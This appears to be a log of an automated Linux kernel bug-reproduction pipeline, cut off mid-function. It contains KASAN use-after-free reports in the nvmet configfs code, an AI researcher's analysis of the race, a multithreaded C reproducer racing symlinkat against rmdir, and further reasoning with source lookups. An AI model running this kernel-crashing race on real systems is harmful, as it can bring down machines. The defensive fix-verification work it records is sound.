 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
]

1/1 2026/08/26 17:40 action kernel-checkouter
1m Results:
map[KernelSrc:/app/workdir/cache/src/b91c7dc3c2f9eea7d2724bdd80cfba2fb90652f5]

2/1 2026/08/26 17:41 action kernel-builder
16m Results:
map[KernelObj:/app/workdir/cache/build/83a10ecdbfc79b1bb82fee16ea9cbe58b100753a]

3/1 2026/08/26 17:58 action codesearch-prepare
11m Results:
map[Index:codesearch-index]

4/1 2026/08/26 18:09 agent initial-researcher
7m Model:
deep-reasoning

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.

=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
  and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
  headers, or non-C files.

=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
  or description mentions a similar bug or fix. Commit messages often reference related issues
  or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Reply:
### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```

5/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 6772
							output: 46
							thoughts: 134
						

Thoughts:
**My Debugging Journey: Tracing a KASAN Slab-Use-After-Free in NVMe Target Configuration**

Alright, so I've stumbled upon a nasty KASAN slab-use-after-free bug, and it's pinpointed to the `nvmet_port_subsys_allow_link` function. The immediate symptom I'm seeing is a crash – specifically, a read operation of 8 bytes at the memory address `ffff88801af304c8`. This tells me something is trying to access memory that's no longer valid, and the size of the read is a crucial clue.

My next step is to understand *where* this problematic memory object was born and, importantly, *when* it met its untimely demise. The KASAN report, in conjunction with my knowledge of the NVMe target's configfs implementation, points to `nvmet_ports_make` as the allocator. This function is responsible for setting up the configuration filesystem (configfs) directories for NVMe ports, so it makes sense that it would be responsible for creating the underlying data structures – the objects that are now being freed prematurely.

And the culprit for the premature freeing? My analysis indicates that the object is being released via the standard configfs cleanup path: `config_item_release` eventually calling `kfree`. This, in turn, is triggered by `configfs_rmdir`, meaning that the act of removing a directory within the NVMe target's configfs structure is what's leading to the use-after-free. This is a critical insight – the bug is tied to the management of the configfs hierarchy.

My immediate next action is to dive deep into the source code of `nvmet_port_subsys_allow_link` itself, located in `drivers/nvme/target/configfs.c`. This is where the logic for allowing a link between NVMe ports and subsystems resides, and it's the most likely place where the race condition or incorrect lifecycle management is occurring, leading to the object being freed while still potentially in use. I need to meticulously examine the code flow within `nvmet_port_subsys_allow_link` to identify how it interacts with the lifecycle of the configfs object, looking for any operations that might hold onto a pointer to the object after it has been freed, or any logic that might incorrectly trigger its freeing.


6/2 2026/08/26 18:09 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_port_subsys_allow_link]

Results:
map[SourceCode:1056:	static int nvmet_port_subsys_allow_link(struct config_item *parent,
1057:			struct config_item *target)
1058:	{
1059:		struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
1060:		struct nvmet_subsys *subsys;
1061:		struct nvmet_subsys_link *link, *p;
1062:		int ret;
1063:	
1064:		if (target->ci_type != &nvmet_subsys_type) {
1065:			pr_err("can only link subsystems into the subsystems dir.!\n");
1066:			return -EINVAL;
1067:		}
1068:		subsys = to_subsys(target);
1069:		link = kmalloc_obj(*link);
1070:		if (!link)
1071:			return -ENOMEM;
1072:		link->subsys = subsys;
1073:	
1074:		down_write(&nvmet_config_sem);
1075:		ret = -EEXIST;
1076:		list_for_each_entry(p, &port->subsystems, entry) {
1077:			if (p->subsys == subsys)
1078:				goto out_free_link;
1079:		}
1080:	
1081:		if (list_empty(&port->subsystems)) {
1082:			ret = nvmet_enable_port(port);
1083:			if (ret)
1084:				goto out_free_link;
1085:		}
1086:	
1087:		list_add_tail(&link->entry, &port->subsystems);
1088:		nvmet_port_disc_changed(port, subsys);
1089:	
1090:		up_write(&nvmet_config_sem);
1091:		return 0;
1092:	
1093:	out_free_link:
1094:		up_write(&nvmet_config_sem);
1095:		kfree(link);
1096:		return ret;
1097:	}
 SourceFile:drivers/nvme/target/configfs.c]

7/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 7574
							output: 41
							thoughts: 173
						

Thoughts:
**My Debugging Journey: Unraveling the NVM-Express Port Link Crash**

I've been staring at this crash, and it's happening right at line 1059: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. My initial thought is that the issue lies in how `parent` and its `ci_parent` are being managed. Specifically, `parent` is the `config_item` representing the `subsystems` directory, which itself resides within a port directory. So, `parent->ci_parent` should logically point to the port directory.

My immediate concern is about memory management. If `parent->ci_parent` has been freed, it implies the port directory itself has been deallocated. The critical question then becomes: is `parent` still alive and being accessed in this state? Or is it being accessed *while* `parent->ci_parent` is in the process of being freed, leading to a use-after-free scenario?

To get to the bottom of this, I need to examine the flow of `nvmet_ports_make`. I suspect the answer lies within how ports are created and their associated configuration items are handled, particularly the lifecycle of the port directory and its parent `config_item`s. This investigation will hopefully reveal the precise moment or condition under which the `ci_parent` becomes invalid while `parent` is still in use.


8/2 2026/08/26 18:09 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_ports_make]

Results:
map[SourceCode:2041:	static struct config_group *nvmet_ports_make(struct config_group *group,
2042:			const char *name)
2043:	{
2044:		struct nvmet_port *port;
2045:		u16 portid;
2046:		u32 i;
2047:	
2048:		if (kstrtou16(name, 0, &portid))
2049:			return ERR_PTR(-EINVAL);
2050:	
2051:		port = kzalloc_flex(*port, ana_state, NVMET_MAX_ANAGRPS + 1);
2052:		if (!port)
2053:			return ERR_PTR(-ENOMEM);
2054:	
2055:		if (IS_ENABLED(CONFIG_NVME_TARGET_TCP_TLS) && nvme_keyring_id()) {
2056:			port->keyring = key_lookup(nvme_keyring_id());
2057:			if (IS_ERR(port->keyring)) {
2058:				pr_warn("NVMe keyring not available, disabling TLS\n");
2059:				port->keyring = NULL;
2060:			}
2061:		}
2062:	
2063:		for (i = 1; i <= NVMET_MAX_ANAGRPS; i++) {
2064:			if (i == NVMET_DEFAULT_ANA_GRPID)
2065:				port->ana_state[1] = NVME_ANA_OPTIMIZED;
2066:			else
2067:				port->ana_state[i] = NVME_ANA_INACCESSIBLE;
2068:		}
2069:	
2070:		list_add(&port->global_entry, &nvmet_ports_list);
2071:	
2072:		INIT_LIST_HEAD(&port->entry);
2073:		INIT_LIST_HEAD(&port->subsystems);
2074:		INIT_LIST_HEAD(&port->referrals);
2075:		port->inline_data_size = -1;	/* < 0 == let the transport choose */
2076:		port->max_queue_size = -1;	/* < 0 == let the transport choose */
2077:		port->mdts = -1;		/* < 0 == let the transport choose */
2078:	
2079:		port->disc_addr.trtype = NVMF_TRTYPE_MAX;
2080:		port->disc_addr.portid = cpu_to_le16(portid);
2081:		port->disc_addr.adrfam = NVMF_ADDR_FAMILY_MAX;
2082:		port->disc_addr.treq = NVMF_TREQ_DISABLE_SQFLOW;
2083:		config_group_init_type_name(&port->group, name, &nvmet_port_type);
2084:	
2085:		config_group_init_type_name(&port->subsys_group,
2086:				"subsystems", &nvmet_port_subsys_type);
2087:		configfs_add_default_group(&port->subsys_group, &port->group);
2088:	
2089:		config_group_init_type_name(&port->referrals_group,
2090:				"referrals", &nvmet_referrals_type);
2091:		configfs_add_default_group(&port->referrals_group, &port->group);
2092:	
2093:		config_group_init_type_name(&port->ana_groups_group,
2094:				"ana_groups", &nvmet_ana_groups_type);
2095:		configfs_add_default_group(&port->ana_groups_group, &port->group);
2096:	
2097:		port->ana_default_group.port = port;
2098:		port->ana_default_group.grpid = NVMET_DEFAULT_ANA_GRPID;
2099:		config_group_init_type_name(&port->ana_default_group.group,
2100:				__stringify(NVMET_DEFAULT_ANA_GRPID),
2101:				&nvmet_ana_group_type);
2102:		configfs_add_default_group(&port->ana_default_group.group,
2103:				&port->ana_groups_group);
2104:	
2105:		return &port->group;
2106:	}
 SourceFile:drivers/nvme/target/configfs.c]

9/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9014
							output: 37
							thoughts: 148
						

Thoughts:
**My Thought Process Regarding `nvmet_port` and `configfs_rmdir`**

Okay, so I'm looking at the `nvmet_port` structure, and I see it's being allocated using `kzalloc_flex` within the `nvmet_ports_make` function. That's pretty standard. The initialization seems straightforward too, setting up `port->subsys_group` and making it a default group for `port->group`.

Now, here's where my brain starts to tick. I know that when `configfs_rmdir` is invoked on the port's directory, it's supposed to handle releasing the port. That makes sense for the primary port resource itself.

But then I started to wonder about the `subsystems` directory. What happens there? If a race condition occurs where someone creates a symlink *within* the `subsystems` directory at the exact moment the port is being removed by `configfs_rmdir`, could that lead to a problem? My immediate thought is, "This could be a point of failure or unexpected behavior."

And then, a slight correction or refinement in my thinking: I recall that `configfs_rmdir` actually has a specific responsibility for removing default groups. So, it's not just about the port itself, but also about managing those default group structures. This leads me to want to dive deeper into the `configfs_rmdir` implementation itself, specifically in `fs/configfs/dir.c`, to confirm exactly how it handles these group removals and what safeguards are in place, or perhaps what potential vulnerabilities exist if that concurrent `subsystems` creation happens. I need to understand the exact order of operations and how it interacts with the underlying group management.


10/2 2026/08/26 18:09 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_rmdir]

Results:
map[SourceCode:1469:	static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
1470:	{
1471:		struct config_item *parent_item;
1472:		struct config_item *item;
1473:		struct configfs_subsystem *subsys;
1474:		struct configfs_dirent *sd;
1475:		struct configfs_fragment *frag;
1476:		struct module *subsys_owner = NULL, *dead_item_owner = NULL;
1477:		int ret;
1478:	
1479:		sd = dentry->d_fsdata;
1480:		if (sd->s_type & CONFIGFS_USET_DEFAULT)
1481:			return -EPERM;
1482:	
1483:		/* Get a working ref until we have the child */
1484:		parent_item = configfs_get_config_item(dentry->d_parent);
1485:		subsys = to_config_group(parent_item)->cg_subsys;
1486:		BUG_ON(!subsys);
1487:	
1488:		if (!parent_item->ci_type) {
1489:			config_item_put(parent_item);
1490:			return -EINVAL;
1491:		}
1492:	
1493:		/* configfs_mkdir() shouldn't have allowed this */
1494:		BUG_ON(!subsys->su_group.cg_item.ci_type);
1495:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1496:	
1497:		/*
1498:		 * Ensure that no racing symlink() will make detach_prep() fail while
1499:		 * the new link is temporarily attached
1500:		 */
1501:		do {
1502:			struct dentry *wait;
1503:	
1504:			mutex_lock(&configfs_symlink_mutex);
1505:			spin_lock(&configfs_dirent_lock);
1506:			/*
1507:			 * Here's where we check for dependents.  We're protected by
1508:			 * configfs_dirent_lock.
1509:			 * If no dependent, atomically tag the item as dropping.
1510:			 */
1511:			ret = sd->s_dependent_count ? -EBUSY : 0;
1512:			if (!ret) {
1513:				ret = configfs_detach_prep(sd, &wait);
1514:				if (ret)
1515:					configfs_detach_rollback(sd);
1516:			}
1517:			spin_unlock(&configfs_dirent_lock);
1518:			mutex_unlock(&configfs_symlink_mutex);
1519:	
1520:			if (ret) {
1521:				if (ret != -EAGAIN) {
1522:					config_item_put(parent_item);
1523:					return ret;
1524:				}
1525:	
1526:				/* Wait until the racing operation terminates */
1527:				inode_lock(d_inode(wait));
1528:				inode_unlock(d_inode(wait));
1529:				dput(wait);
1530:			}
1531:		} while (ret == -EAGAIN);
1532:	
1533:		frag = sd->s_frag;
1534:		if (down_write_killable(&frag->frag_sem)) {
1535:			spin_lock(&configfs_dirent_lock);
1536:			configfs_detach_rollback(sd);
1537:			spin_unlock(&configfs_dirent_lock);
1538:			config_item_put(parent_item);
